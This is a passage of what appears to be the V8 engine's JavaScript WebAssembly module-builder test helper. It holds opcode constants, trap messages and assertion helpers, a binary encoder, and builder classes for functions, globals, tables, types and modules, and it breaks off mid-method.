kExprI64AtomicStore16U = 0x1c;\nlet kExprI64AtomicStore32U = 0x1d;\nlet kExprI64AtomicAdd = 0x1f;\nlet kExprI64AtomicAdd8U = 0x22;\nlet kExprI64AtomicAdd16U = 0x23;\nlet kExprI64AtomicAdd32U = 0x24;\nlet kExprI64AtomicSub = 0x26;\nlet kExprI64AtomicSub8U = 0x29;\nlet kExprI64AtomicSub16U = 0x2a;\nlet kExprI64AtomicSub32U = 0x2b;\nlet kExprI64AtomicAnd = 0x2d;\nlet kExprI64AtomicAnd8U = 0x30;\nlet kExprI64AtomicAnd16U = 0x31;\nlet kExprI64AtomicAnd32U = 0x32;\nlet kExprI64AtomicOr = 0x34;\nlet kExprI64AtomicOr8U = 0x37;\nlet kExprI64AtomicOr16U = 0x38;\nlet kExprI64AtomicOr32U = 0x39;\nlet kExprI64AtomicXor = 0x3b;\nlet kExprI64AtomicXor8U = 0x3e;\nlet kExprI64AtomicXor16U = 0x3f;\nlet kExprI64AtomicXor32U = 0x40;\nlet kExprI64AtomicExchange = 0x42;\nlet kExprI64AtomicExchange8U = 0x45;\nlet kExprI64AtomicExchange16U = 0x46;\nlet kExprI64AtomicExchange32U = 0x47;\nlet kExprI64AtomicCompareExchange = 0x49\nlet kExprI64AtomicCompareExchange8U = 0x4c;\nlet kExprI64AtomicCompareExchange16U = 0x4d;\nlet kExprI64AtomicCompareExchange32U = 0x4e;\n\n// Simd opcodes.\nlet kExprS128LoadMem = 0x00;\nlet kExprS128Load8x8S = 0x01;\nlet kExprS128Load8x8U = 0x02;\nlet kExprS128Load16x4S = 0x03;\nlet kExprS128Load16x4U = 0x04;\nlet kExprS128Load32x2S = 0x05;\nlet kExprS128Load32x2U = 0x06;\nlet kExprS128Load8Splat = 0x07;\nlet kExprS128Load16Splat = 0x08;\nlet kExprS128Load32Splat = 0x09;\nlet kExprS128Load64Splat = 0x0a;\nlet kExprS128StoreMem = 0x0b;\nlet kExprS128Const = 0x0c;\nlet kExprI8x16Shuffle = 0x0d;\nlet kExprI8x16Swizzle = 0x0e;\n\nlet kExprI8x16Splat = 0x0f;\nlet kExprI16x8Splat = 0x10;\nlet kExprI32x4Splat = 0x11;\nlet kExprI64x2Splat = 0x12;\nlet kExprF32x4Splat = 0x13;\nlet kExprF64x2Splat = 0x14;\nlet kExprI8x16ExtractLaneS = 0x15;\nlet kExprI8x16ExtractLaneU = 0x16;\nlet kExprI8x16ReplaceLane = 0x17;\nlet kExprI16x8ExtractLaneS = 0x18;\nlet kExprI16x8ExtractLaneU = 0x19;\nlet kExprI16x8ReplaceLane = 0x1a;\nlet kExprI32x4ExtractLane = 0x1b;\nlet kExprI32x4ReplaceLane = 0x1c;\nlet kExprI64x2ExtractLane = 0x1d;\nlet kExprI64x2ReplaceLane = 0x1e;\nlet kExprF32x4ExtractLane = 0x1f;\nlet kExprF32x4ReplaceLane = 0x20;\nlet kExprF64x2ExtractLane = 0x21;\nlet kExprF64x2ReplaceLane = 0x22;\nlet kExprI8x16Eq = 0x23;\nlet kExprI8x16Ne = 0x24;\nlet kExprI8x16LtS = 0x25;\nlet kExprI8x16LtU = 0x26;\nlet kExprI8x16GtS = 0x27;\nlet kExprI8x16GtU = 0x28;\nlet kExprI8x16LeS = 0x29;\nlet kExprI8x16LeU = 0x2a;\nlet kExprI8x16GeS = 0x2b;\nlet kExprI8x16GeU = 0x2c;\nlet kExprI16x8Eq = 0x2d;\nlet kExprI16x8Ne = 0x2e;\nlet kExprI16x8LtS = 0x2f;\nlet kExprI16x8LtU = 0x30;\nlet kExprI16x8GtS = 0x31;\nlet kExprI16x8GtU = 0x32;\nlet kExprI16x8LeS = 0x33;\nlet kExprI16x8LeU = 0x34;\nlet kExprI16x8GeS = 0x35;\nlet kExprI16x8GeU = 0x36;\nlet kExprI32x4Eq = 0x37;\nlet kExprI32x4Ne = 0x38;\nlet kExprI32x4LtS = 0x39;\nlet kExprI32x4LtU = 0x3a;\nlet kExprI32x4GtS = 0x3b;\nlet kExprI32x4GtU = 0x3c;\nlet kExprI32x4LeS = 0x3d;\nlet kExprI32x4LeU = 0x3e;\nlet kExprI32x4GeS = 0x3f;\nlet kExprI32x4GeU = 0x40;\nlet kExprF32x4Eq = 0x41;\nlet kExprF32x4Ne = 0x42;\nlet kExprF32x4Lt = 0x43;\nlet kExprF32x4Gt = 0x44;\nlet kExprF32x4Le = 0x45;\nlet kExprF32x4Ge = 0x46;\nlet kExprF64x2Eq = 0x47;\nlet kExprF64x2Ne = 0x48;\nlet kExprF64x2Lt = 0x49;\nlet kExprF64x2Gt = 0x4a;\nlet kExprF64x2Le = 0x4b;\nlet kExprF64x2Ge = 0x4c;\nlet kExprS128Not = 0x4d;\nlet kExprS128And = 0x4e;\nlet kExprS128AndNot = 0x4f;\nlet kExprS128Or = 0x50;\nlet kExprS128Xor = 0x51;\nlet kExprS128Select = 0x52;\nlet kExprV128AnyTrue = 0x53;\nlet kExprS128Load8Lane = 0x54;\nlet kExprS128Load16Lane = 0x55;\nlet kExprS128Load32Lane = 0x56;\nlet kExprS128Load64Lane = 0x57;\nlet kExprS128Store8Lane = 0x58;\nlet kExprS128Store16Lane = 0x59;\nlet kExprS128Store32Lane = 0x5a;\nlet kExprS128Store64Lane = 0x5b;\nlet kExprS128Load32Zero = 0x5c;\nlet kExprS128Load64Zero = 0x5d;\nlet kExprF32x4DemoteF64x2Zero = 0x5e;\nlet kExprF64x2PromoteLowF32x4 = 0x5f;\nlet kExprI8x16Abs = 0x60;\nlet kExprI8x16Neg = 0x61;\nlet kExprI8x16Popcnt = 0x62;\nlet kExprI8x16AllTrue = 0x63;\nlet kExprI8x16BitMask = 0x64;\nlet kExprI8x16SConvertI16x8 = 0x65;\nlet kExprI8x16UConvertI16x8 = 0x66;\nlet kExprF32x4Ceil = 0x67;\nlet kExprF32x4Floor = 0x68;\nlet kExprF32x4Trunc = 0x69;\nlet kExprF32x4NearestInt = 0x6a;\nlet kExprI8x16Shl = 0x6b;\nlet kExprI8x16ShrS = 0x6c;\nlet kExprI8x16ShrU = 0x6d;\nlet kExprI8x16Add = 0x6e;\nlet kExprI8x16AddSatS = 0x6f;\nlet kExprI8x16AddSatU = 0x70;\nlet kExprI8x16Sub = 0x71;\nlet kExprI8x16SubSatS = 0x72;\nlet kExprI8x16SubSatU = 0x73;\nlet kExprF64x2Ceil = 0x74;\nlet kExprF64x2Floor = 0x75;\nlet kExprI8x16MinS = 0x76;\nlet kExprI8x16MinU = 0x77;\nlet kExprI8x16MaxS = 0x78;\nlet kExprI8x16MaxU = 0x79;\nlet kExprF64x2Trunc = 0x7a;\nlet kExprI8x16RoundingAverageU = 0x7b;\nlet kExprI16x8ExtAddPairwiseI8x16S = 0x7c;\nlet kExprI16x8ExtAddPairwiseI8x16U = 0x7d;\nlet kExprI32x4ExtAddPairwiseI16x8S = 0x7e;\nlet kExprI32x4ExtAddPairwiseI16x8U = 0x7f;\nlet kExprI16x8Abs = 0x80;\nlet kExprI16x8Neg = 0x81;\nlet kExprI16x8Q15MulRSatS = 0x82;\nlet kExprI16x8AllTrue = 0x83;\nlet kExprI16x8BitMask = 0x84;\nlet kExprI16x8SConvertI32x4 = 0x85;\nlet kExprI16x8UConvertI32x4 = 0x86;\nlet kExprI16x8SConvertI8x16Low = 0x87;\nlet kExprI16x8SConvertI8x16High = 0x88;\nlet kExprI16x8UConvertI8x16Low = 0x89;\nlet kExprI16x8UConvertI8x16High = 0x8a;\nlet kExprI16x8Shl = 0x8b;\nlet kExprI16x8ShrS = 0x8c;\nlet kExprI16x8ShrU = 0x8d;\nlet kExprI16x8Add = 0x8e;\nlet kExprI16x8AddSatS = 0x8f;\nlet kExprI16x8AddSatU = 0x90;\nlet kExprI16x8Sub = 0x91;\nlet kExprI16x8SubSatS = 0x92;\nlet kExprI16x8SubSatU = 0x93;\nlet kExprF64x2NearestInt = 0x94;\nlet kExprI16x8Mul = 0x95;\nlet kExprI16x8MinS = 0x96;\nlet kExprI16x8MinU = 0x97;\nlet kExprI16x8MaxS = 0x98;\nlet kExprI16x8MaxU = 0x99;\nlet kExprI16x8RoundingAverageU = 0x9b;\nlet kExprI16x8ExtMulLowI8x16S = 0x9c;\nlet kExprI16x8ExtMulHighI8x16S = 0x9d;\nlet kExprI16x8ExtMulLowI8x16U = 0x9e;\nlet kExprI16x8ExtMulHighI8x16U = 0x9f;\nlet kExprI32x4Abs = 0xa0;\nlet kExprI32x4Neg = 0xa1;\nlet kExprI32x4AllTrue = 0xa3;\nlet kExprI32x4BitMask = 0xa4;\nlet kExprI32x4SConvertI16x8Low = 0xa7;\nlet kExprI32x4SConvertI16x8High = 0xa8;\nlet kExprI32x4UConvertI16x8Low = 0xa9;\nlet kExprI32x4UConvertI16x8High = 0xaa;\nlet kExprI32x4Shl = 0xab;\nlet kExprI32x4ShrS = 0xac;\nlet kExprI32x4ShrU = 0xad;\nlet kExprI32x4Add = 0xae;\nlet kExprI32x4Sub = 0xb1;\nlet kExprI32x4Mul = 0xb5;\nlet kExprI32x4MinS = 0xb6;\nlet kExprI32x4MinU = 0xb7;\nlet kExprI32x4MaxS = 0xb8;\nlet kExprI32x4MaxU = 0xb9;\nlet kExprI32x4DotI16x8S = 0xba;\nlet kExprI32x4ExtMulLowI16x8S = 0xbc;\nlet kExprI32x4ExtMulHighI16x8S = 0xbd;\nlet kExprI32x4ExtMulLowI16x8U = 0xbe;\nlet kExprI32x4ExtMulHighI16x8U = 0xbf;\nlet kExprI64x2Abs = 0xc0;\nlet kExprI64x2Neg = 0xc1;\nlet kExprI64x2AllTrue = 0xc3;\nlet kExprI64x2BitMask = 0xc4;\nlet kExprI64x2SConvertI32x4Low = 0xc7;\nlet kExprI64x2SConvertI32x4High = 0xc8;\nlet kExprI64x2UConvertI32x4Low = 0xc9;\nlet kExprI64x2UConvertI32x4High = 0xca;\nlet kExprI64x2Shl = 0xcb;\nlet kExprI64x2ShrS = 0xcc;\nlet kExprI64x2ShrU = 0xcd;\nlet kExprI64x2Add = 0xce;\nlet kExprI64x2Sub = 0xd1;\nlet kExprI64x2Mul = 0xd5;\nlet kExprI64x2Eq = 0xd6;\nlet kExprI64x2Ne = 0xd7;\nlet kExprI64x2LtS = 0xd8;\nlet kExprI64x2GtS = 0xd9;\nlet kExprI64x2LeS = 0xda;\nlet kExprI64x2GeS = 0xdb;\nlet kExprI64x2ExtMulLowI32x4S = 0xdc;\nlet kExprI64x2ExtMulHighI32x4S = 0xdd;\nlet kExprI64x2ExtMulLowI32x4U = 0xde;\nlet kExprI64x2ExtMulHighI32x4U = 0xdf;\nlet kExprF32x4Abs = 0xe0;\nlet kExprF32x4Neg = 0xe1;\nlet kExprF32x4Sqrt = 0xe3;\nlet kExprF32x4Add = 0xe4;\nlet kExprF32x4Sub = 0xe5;\nlet kExprF32x4Mul = 0xe6;\nlet kExprF32x4Div = 0xe7;\nlet kExprF32x4Min = 0xe8;\nlet kExprF32x4Max = 0xe9;\nlet kExprF32x4Pmin = 0xea;\nlet kExprF32x4Pmax = 0xeb;\nlet kExprF64x2Abs = 0xec;\nlet kExprF64x2Neg = 0xed;\nlet kExprF64x2Sqrt = 0xef;\nlet kExprF64x2Add = 0xf0;\nlet kExprF64x2Sub = 0xf1;\nlet kExprF64x2Mul = 0xf2;\nlet kExprF64x2Div = 0xf3;\nlet kExprF64x2Min = 0xf4;\nlet kExprF64x2Max = 0xf5;\nlet kExprF64x2Pmin = 0xf6;\nlet kExprF64x2Pmax = 0xf7;\nlet kExprI32x4SConvertF32x4 = 0xf8;\nlet kExprI32x4UConvertF32x4 = 0xf9;\nlet kExprF32x4SConvertI32x4 = 0xfa;\nlet kExprF32x4UConvertI32x4 = 0xfb;\nlet kExprI32x4TruncSatF64x2SZero = 0xfc;\nlet kExprI32x4TruncSatF64x2UZero = 0xfd;\nlet kExprF64x2ConvertLowI32x4S = 0xfe;\nlet kExprF64x2ConvertLowI32x4U = 0xff;\n\n// Relaxed SIMD.\nlet kExprI8x16RelaxedSwizzle = wasmSignedLeb(0x100);\nlet kExprI32x4RelaxedTruncF32x4S = wasmSignedLeb(0x101);\nlet kExprI32x4RelaxedTruncF32x4U = wasmSignedLeb(0x102);\nlet kExprI32x4RelaxedTruncF64x2SZero = wasmSignedLeb(0x103);\nlet kExprI32x4RelaxedTruncF64x2UZero = wasmSignedLeb(0x104);\nlet kExprF32x4Qfma = wasmSignedLeb(0x105);\nlet kExprF32x4Qfms = wasmSignedLeb(0x106);\nlet kExprF64x2Qfma = wasmSignedLeb(0x107);\nlet kExprF64x2Qfms = wasmSignedLeb(0x108);\nlet kExprI8x16RelaxedLaneSelect = wasmSignedLeb(0x109);\nlet kExprI16x8RelaxedLaneSelect = wasmSignedLeb(0x10a);\nlet kExprI32x4RelaxedLaneSelect = wasmSignedLeb(0x10b);\nlet kExprI64x2RelaxedLaneSelect = wasmSignedLeb(0x10c);\nlet kExprF32x4RelaxedMin = wasmSignedLeb(0x10d);\nlet kExprF32x4RelaxedMax = wasmSignedLeb(0x10e);\nlet kExprF64x2RelaxedMin = wasmSignedLeb(0x10f);\nlet kExprF64x2RelaxedMax = wasmSignedLeb(0x110);\nlet kExprI16x8RelaxedQ15MulRS = wasmSignedLeb(0x111);\nlet kExprI16x8DotI8x16I7x16S = wasmSignedLeb(0x112);\nlet kExprI32x4DotI8x16I7x16AddS = wasmSignedLeb(0x113);\n\n// FP16 SIMD\nlet kExprF16x8Splat = wasmSignedLeb(0x120);\nlet kExprF16x8ExtractLane = wasmSignedLeb(0x121);\nlet kExprF16x8ReplaceLane = wasmSignedLeb(0x122);\nlet kExprF16x8Abs = wasmSignedLeb(0x130);\nlet kExprF16x8Neg = wasmSignedLeb(0x131);\nlet kExprF16x8Sqrt = wasmSignedLeb(0x132);\nlet kExprF16x8Ceil = wasmSignedLeb(0x133);\nlet kExprF16x8Floor = wasmSignedLeb(0x134);\nlet kExprF16x8Trunc = wasmSignedLeb(0x135);\nlet kExprF16x8NearestInt = wasmSignedLeb(0x136);\nlet kExprF16x8Eq = wasmSignedLeb(0x137);\nlet kExprF16x8Ne = wasmSignedLeb(0x138);\nlet kExprF16x8Lt = wasmSignedLeb(0x139);\nlet kExprF16x8Gt = wasmSignedLeb(0x13a);\nlet kExprF16x8Le = wasmSignedLeb(0x13b);\nlet kExprF16x8Ge = wasmSignedLeb(0x13c);\nlet kExprF16x8Add = wasmSignedLeb(0x13d);\nlet kExprF16x8Sub = wasmSignedLeb(0x13e);\nlet kExprF16x8Mul = wasmSignedLeb(0x13f);\nlet kExprF16x8Div = wasmSignedLeb(0x140);\nlet kExprF16x8Min = wasmSignedLeb(0x141);\nlet kExprF16x8Max = wasmSignedLeb(0x142);\nlet kExprF16x8Pmin = wasmSignedLeb(0x143);\nlet kExprF16x8Pmax = wasmSignedLeb(0x144);\nlet kExprI16x8SConvertF16x8 = wasmSignedLeb(0x145);\nlet kExprI16x8UConvertF16x8 = wasmSignedLeb(0x146);\nlet kExprF16x8SConvertI16x8 = wasmSignedLeb(0x147);\nlet kExprF16x8UConvertI16x8 = wasmSignedLeb(0x148);\nlet kExprF16x8DemoteF32x4Zero = wasmSignedLeb(0x149);\nlet kExprF16x8DemoteF64x2Zero = wasmSignedLeb(0x14a);\nlet kExprF32x4PromoteLowF16x8 = wasmSignedLeb(0x14b);\nlet kExprF16x8Qfma = wasmSignedLeb(0x14e);\nlet kExprF16x8Qfms = wasmSignedLeb(0x14f);\n\n// Compilation hint constants.\nlet kCompilationHintStrategyDefault = 0x00;\nlet kCompilationHintStrategyLazy = 0x01;\nlet kCompilationHintStrategyEager = 0x02;\nlet kCompilationHintStrategyLazyBaselineEagerTopTier = 0x03;\nlet kCompilationHintTierDefault = 0x00;\nlet kCompilationHintTierBaseline = 0x01;\nlet kCompilationHintTierOptimized = 0x02;\n\nlet kTrapUnreachable = 0;\nlet kTrapMemOutOfBounds = 1;\nlet kTrapDivByZero = 2;\nlet kTrapDivUnrepresentable = 3;\nlet kTrapRemByZero = 4;\nlet kTrapFloatUnrepresentable = 5;\nlet kTrapTableOutOfBounds = 6;\nlet kTrapFuncSigMismatch = 7;\nlet kTrapUnalignedAccess = 8;\nlet kTrapDataSegmentOutOfBounds = 9;\nlet kTrapElementSegmentOutOfBounds = 10;\nlet kTrapRethrowNull = 11;\nlet kTrapArrayTooLarge = 12;\nlet kTrapArrayOutOfBounds = 13;\nlet kTrapNullDereference = 14;\nlet kTrapIllegalCast = 15;\n\nlet kAtomicWaitOk = 0;\nlet kAtomicWaitNotEqual = 1;\nlet kAtomicWaitTimedOut = 2;\n\n// Exception handling with exnref.\nlet kCatchNoRef = 0x0;\nlet kCatchRef = 0x1;\nlet kCatchAllNoRef = 0x2;\nlet kCatchAllRef = 0x3;\n\nlet kTrapMsgs = [\n  'unreachable',                                    // --\n  'memory access out of bounds',                    // --\n  'divide by zero',                                 // --\n  'divide result unrepresentable',                  // --\n  'remainder by zero',                              // --\n  'float unrepresentable in integer range',         // --\n  'table index is out of bounds',                   // --\n  'null function or function signature mismatch',   // --\n  'operation does not support unaligned accesses',  // --\n  'data segment out of bounds',                     // --\n  'element segment out of bounds',                  // --\n  'rethrowing null value',                          // --\n  'requested new array is too large',               // --\n  'array element access out of bounds',             // --\n  'dereferencing a null pointer',                   // --\n  'illegal cast',                                   // --\n];\n\n// This requires test/mjsunit/mjsunit.js.\nfunction assertTraps(trap, code) {\n  assertThrows(code, WebAssembly.RuntimeError, new RegExp(kTrapMsgs[trap]));\n}\n\nfunction assertTrapsOneOf(traps, code) {\n  const errorChecker = new RegExp(\n    '(' + traps.map(trap =&gt; kTrapMsgs[trap]).join('|') + ')'\n  );\n  assertThrows(code, WebAssembly.RuntimeError, errorChecker);\n}\n\nclass Binary {\n  constructor() {\n    this.length = 0;\n    this.buffer = new Uint8Array(8192);\n  }\n\n  ensure_space(needed) {\n    if (this.buffer.length - this.length &gt;= needed) return;\n    let new_capacity = this.buffer.length * 2;\n    while (new_capacity - this.length &lt; needed) new_capacity *= 2;\n    let new_buffer = new Uint8Array(new_capacity);\n    new_buffer.set(this.buffer);\n    this.buffer = new_buffer;\n  }\n\n  trunc_buffer() {\n    return new Uint8Array(this.buffer.buffer, 0, this.length);\n  }\n\n  reset() {\n    this.length = 0;\n  }\n\n  emit_u8(val) {\n    this.ensure_space(1);\n    this.buffer[this.length++] = val;\n  }\n\n  emit_u16(val) {\n    this.ensure_space(2);\n    this.buffer[this.length++] = val;\n    this.buffer[this.length++] = val &gt;&gt; 8;\n  }\n\n  emit_u32(val) {\n    this.ensure_space(4);\n    this.buffer[this.length++] = val;\n    this.buffer[this.length++] = val &gt;&gt; 8;\n    this.buffer[this.length++] = val &gt;&gt; 16;\n    this.buffer[this.length++] = val &gt;&gt; 24;\n  }\n\n  emit_leb_u(val, max_len) {\n    this.ensure_space(max_len);\n    for (let i = 0; i &lt; max_len; ++i) {\n      let v = val &amp; 0xff;\n      val = val &gt;&gt;&gt; 7;\n      if (val == 0) {\n        this.buffer[this.length++] = v;\n        return;\n      }\n      this.buffer[this.length++] = v | 0x80;\n    }\n    throw new Error('Leb value exceeds maximum length of ' + max_len);\n  }\n\n  emit_u32v(val) {\n    this.emit_leb_u(val, kMaxVarInt32Size);\n  }\n\n  emit_u64v(val) {\n    this.emit_leb_u(val, kMaxVarInt64Size);\n  }\n\n  emit_bytes(data) {\n    this.ensure_space(data.length);\n    this.buffer.set(data, this.length);\n    this.length += data.length;\n  }\n\n  emit_string(string) {\n    // When testing illegal names, we pass a byte array directly.\n    if (string instanceof Array) {\n      this.emit_u32v(string.length);\n      this.emit_bytes(string);\n      return;\n    }\n\n    // This is the hacky way to convert a JavaScript string to a UTF8 encoded\n    // string only containing single-byte characters.\n    let string_utf8 = unescape(encodeURIComponent(string));\n    this.emit_u32v(string_utf8.length);\n    for (let i = 0; i &lt; string_utf8.length; i++) {\n      this.emit_u8(string_utf8.charCodeAt(i));\n    }\n  }\n\n  emit_heap_type(heap_type) {\n    this.emit_bytes(wasmSignedLeb(heap_type, kMaxVarInt32Size));\n  }\n\n  emit_type(type) {\n    if ((typeof type) == 'number') {\n      this.emit_u8(type &gt;= 0 ? type : type &amp; kLeb128Mask);\n    } else {\n      this.emit_u8(type.opcode);\n      if (type.is_shared) this.emit_u8(kWasmSharedTypeForm);\n      this.emit_heap_type(type.heap_type);\n    }\n  }\n\n  emit_init_expr(expr) {\n    this.emit_bytes(expr);\n    this.emit_u8(kExprEnd);\n  }\n\n  emit_header() {\n    this.emit_bytes([\n      kWasmH0, kWasmH1, kWasmH2, kWasmH3, kWasmV0, kWasmV1, kWasmV2, kWasmV3\n    ]);\n  }\n\n  emit_section(section_code, content_generator) {\n    // Emit section name.\n    this.emit_u8(section_code);\n    // Emit the section to a temporary buffer: its full length isn't know yet.\n    const section = new Binary;\n    content_generator(section);\n    // Emit section length.\n    this.emit_u32v(section.length);\n    // Copy the temporary buffer.\n    // Avoid spread because {section} can be huge.\n    this.emit_bytes(section.trunc_buffer());\n  }\n}\n\nclass WasmFunctionBuilder {\n  // Encoding of local names: a string corresponds to a local name,\n  // a number n corresponds to n undefined names.\n  constructor(module, name, type_index, arg_names) {\n    this.module = module;\n    this.name = name;\n    this.type_index = type_index;\n    this.body = [];\n    this.locals = [];\n    this.local_names = arg_names;\n    this.body_offset = undefined;  // Not valid until module is serialized.\n  }\n\n  numLocalNames() {\n    let num_local_names = 0;\n    for (let loc_name of this.local_names) {\n      if (typeof loc_name == 'string') ++num_local_names;\n    }\n    return num_local_names;\n  }\n\n  exportAs(name) {\n    this.module.addExport(name, this.index);\n    return this;\n  }\n\n  exportFunc() {\n    this.exportAs(this.name);\n    return this;\n  }\n\n  setCompilationHint(strategy, baselineTier, topTier) {\n    this.module.setCompilationHint(strategy, baselineTier, topTier, this.index);\n    return this;\n  }\n\n  addBody(body) {\n    checkExpr(body);\n    // Store a copy of the body, and automatically add the end opcode.\n    this.body = body.concat([kExprEnd]);\n    return this;\n  }\n\n  addBodyWithEnd(body) {\n    this.body = body;\n    return this;\n  }\n\n  getNumLocals() {\n    let total_locals = 0;\n    for (let l of this.locals) {\n      total_locals += l.count\n    }\n    return total_locals;\n  }\n\n  addLocals(type, count, names) {\n    this.locals.push({type: type, count: count});\n    names = names || [];\n    if (names.length &gt; count) throw new Error('too many locals names given');\n    this.local_names.push(...names);\n    if (count &gt; names.length) this.local_names.push(count - names.length);\n    return this;\n  }\n\n  end() {\n    return this.module;\n  }\n}\n\nclass WasmGlobalBuilder {\n  constructor(module, type, mutable, shared, init) {\n    this.module = module;\n    this.type = type;\n    this.mutable = mutable;\n    this.shared = shared;\n    this.init = init;\n  }\n\n  exportAs(name) {\n    this.module.exports.push(\n        {name: name, kind: kExternalGlobal, index: this.index});\n    return this;\n  }\n}\n\nfunction checkExpr(expr) {\n  for (let b of expr) {\n    if (typeof b !== 'number' || (b &amp; (~0xFF)) !== 0) {\n      throw new Error(\n          'invalid body (entries must be 8 bit numbers): ' + expr);\n    }\n  }\n}\n\nclass WasmTableBuilder {\n  constructor(module, type, initial_size, max_size, init_expr, is_shared, is_table64) {\n    // TODO(manoskouk): Add the table index.\n    this.module = module;\n    this.type = type;\n    this.initial_size = initial_size;\n    this.has_max = max_size !== undefined;\n    this.max_size = max_size;\n    this.init_expr = init_expr;\n    this.has_init = init_expr !== undefined;\n    this.is_shared = is_shared;\n    this.is_table64 = is_table64;\n  }\n\n  exportAs(name) {\n    this.module.exports.push(\n        {name: name, kind: kExternalTable, index: this.index});\n    return this;\n  }\n}\n\nfunction makeField(type, mutability) {\n  if ((typeof mutability) != 'boolean') {\n    throw new Error('field mutability must be boolean');\n  }\n  return {type: type, mutability: mutability};\n}\n\nclass WasmStruct {\n  constructor(fields, is_final, is_shared, supertype_idx) {\n    if (!Array.isArray(fields)) {\n      throw new Error('struct fields must be an array');\n    }\n    this.fields = fields;\n    this.type_form = kWasmStructTypeForm;\n    this.is_final = is_final;\n    this.is_shared = is_shared;\n    this.supertype = supertype_idx;\n  }\n}\n\nclass WasmArray {\n  constructor(type, mutability, is_final, is_shared, supertype_idx) {\n    this.type = type;\n    this.mutability = mutability;\n    this.type_form = kWasmArrayTypeForm;\n    this.is_final = is_final;\n    this.is_shared = is_shared;\n    this.supertype = supertype_idx;\n  }\n}\n\nclass WasmElemSegment {\n  constructor(table, offset, type, elements, is_decl, is_shared) {\n    this.table = table;\n    this.offset = offset;\n    this.type = type;\n    this.elements = elements;\n    this.is_decl = is_decl;\n    this.is_shared = is_shared;\n    // Invariant checks.\n    if ((table === undefined) != (offset === undefined)) {\n      throw new Error(\"invalid element segment\");\n    }\n    for (let elem of elements) {\n      if (((typeof elem) == 'number') != (type === undefined)) {\n        throw new Error(\"invalid element\");\n      }\n    }\n  }\n\n  is_active() {\n    return this.table !== undefined;\n  }\n\n  is_passive() {\n    return this.table === undefined &amp;&amp; !this.is_decl;\n  }\n\n  is_declarative() {\n    return this.table === undefined &amp;&amp; this.is_decl;\n  }\n\n  expressions_as_elements() {\n    return this.type !== undefined;\n  }\n}\n\nclass WasmModuleBuilder {\n  constructor() {\n    this.types = [];\n    this.imports = [];\n    this.exports = [];\n    this.stringrefs = [];\n    this.globals = [];\n    this.tables = [];\n    this.tags = [];\n    this.memories = [];\n    this.functions = [];\n    this.compilation_hints = [];\n    this.element_segments = [];\n    this.data_segments = [];\n    this.explicit = [];\n    this.rec_groups = [];\n    this.num_imported_funcs = 0;\n    this.num_imported_globals = 0;\n    this.num_imported_tables = 0;\n    this.num_imported_tags = 0;\n    return this;\n  }\n\n  addStart(start_index) {\n    this.start_index = start_index;\n    return this;\n  }\n\n  addMemory(min, max, shared) {\n    // Note: All imported memories are added before declared ones (see the check\n    // in {addImportedMemory}).\n    const imported_memories =\n        this.imports.filter(i =&gt; i.kind == kExternalMemory).length;\n    const mem_index = imported_memories + this.memories.length;\n    this.memories.push(\n        {min: min, max: max, shared: shared || false, is_memory64: false});\n    return mem_index;\n  }\n\n  addMemory64(min, max, shared) {\n    // Note: All imported memories are added before declared ones (see the check\n    // in {addImportedMemory}).\n    const imported_memories =\n        this.imports.filter(i =&gt; i.kind == kExternalMemory).length;\n    const mem_index = imported_memories + this.memories.length;\n    this.memories.push(\n        {min: min, max: max, shared: shared || false, is_memory64: true});\n    return mem_index;\n  }\n\n  addExplicitSection(bytes) {\n    this.explicit.push(bytes);\n    return this;\n  }\n\n  stringToBytes(name) {\n    var result = new Binary();\n    result.emit_u32v(name.length);\n    for (var i = 0; i &lt; name.length; i++) {\n      result.emit_u8(name.charCodeAt(i));\n    }\n    return result.trunc_buffer()\n  }\n\n  createCustomSection(name, bytes) {\n    name = this.stringToBytes(name);\n    var section = new Binary();\n    section.emit_u8(0);\n    section.emit_u32v(name.length + bytes.length);\n    section.emit_bytes(name);\n    section.emit_bytes(bytes);\n    return section.trunc_buffer();\n  }\n\n  addCustomSection(name, bytes) {\n    this.explicit.push(this.createCustomSection(name, bytes));\n  }\n\n  // We use {is_final = true} so that the MVP syntax is generated for\n  // signatures.\n  addType(type, supertype_idx = kNoSuperType, is_final = true, is_shared = false) {\n    var pl = type.params.length;   // should have params\n    var rl = type.results.length;  // should have results\n    var type_copy = {params: type.params, results: type.results,\n                     is_final: is_final, is_shared: is_shared, supertype: supertype_idx};\n    this.types.push(type_copy);\n    return this.types.length - 1;\n  }\n\n  addLiteralStringRef(str) {\n    this.stringrefs.push(str);\n    return this.stringrefs.length - 1;\n  }\n\n  addStruct(fields, supertype_idx = kNoSuperType, is_final = false, is_shared = false) {\n    this.types.push(new WasmStruct(fields, is_final, is_shared, supertype_idx));\n    return this.types.length - 1;\n  }\n\n  addArray(type, mutability, supertype_idx = kNoSuperType, is_final = false, is_shared = false) {\n    this.types.push(new WasmArray(type, mutability, is_final, is_shared, supertype_idx));\n    return this.types.length - 1;\n  }\n\n  nextTypeIndex() { return this.types.length; }\n\n  static defaultFor(type) {\n    switch (type) {\n      case kWasmI32:\n        return wasmI32Const(0);\n      case kWasmI64:\n        return wasmI64Const(0);\n      case kWasmF32:\n        return wasmF32Const(0.0);\n      case kWasmF64:\n        return wasmF64Const(0.0);\n      case kWasmS128:\n        return [kSimdPrefix, kExprS128Const, ...(new Array(16).fill(0))];\n      case kWasmStringViewIter:\n      case kWasmStringViewWtf8:\n      case kWasmStringViewWtf16:\n        throw new Error(\"String views are non-defaultable\");\n      default:\n        if ((typeof type) != 'number' &amp;&amp; type.opcode != kWasmRefNull) {\n          throw new Error(\"Non-defaultable type\");\n        }\n        let heap_type = (typeof type) == 'number' ? type : type.heap_type;\n        return [kExprRefNull, ...wasmSignedLeb(heap_type, kMaxVarInt32Size)];\n    }\n  }\n\n  addGlobal(type, mutable, shared, init) {\n    if (init === undefined) init = WasmModuleBuilder.defaultFor(type);\n    checkExpr(init);\n    let glob = new WasmGlobalBuilder(this, type, mutable, shared, init);\n    glob.index = this.globals.length + this.num_imported_globals;\n    this.globals.push(glob);\n    return glob;\n  }\n\n  addTable(\n      type, initial_size, max_size = undefined, init_expr = undefined,\n      is_shared = false, is_table64 = false) {\n    if (type == kWasmI32 || type == kWasmI64 || type == kWasmF32 ||\n        type == kWasmF64 || type == kWasmS128 || type == kWasmVoid) {\n      throw new Error('Tables must be of a reference type');\n    }\n    if (init_expr != undefined) checkExpr(init_expr);\n    let table = new WasmTableBuilder(\n        this, type, initial_size, max_size, init_expr, is_shared, is_table64);\n    table.index = this.tables.length + this.num_imported_tables;\n    this.tables.push(table);\n    return table;\n  }\n\n  addTable64(\n      type, initial_size, max_size = undefined, init_expr = undefined,\n      is_shared = false) {\n    return this.addTable(\n        type, initial_size, max_size, init_expr, is_shared, true);\n  }\n\n  addTag(type) 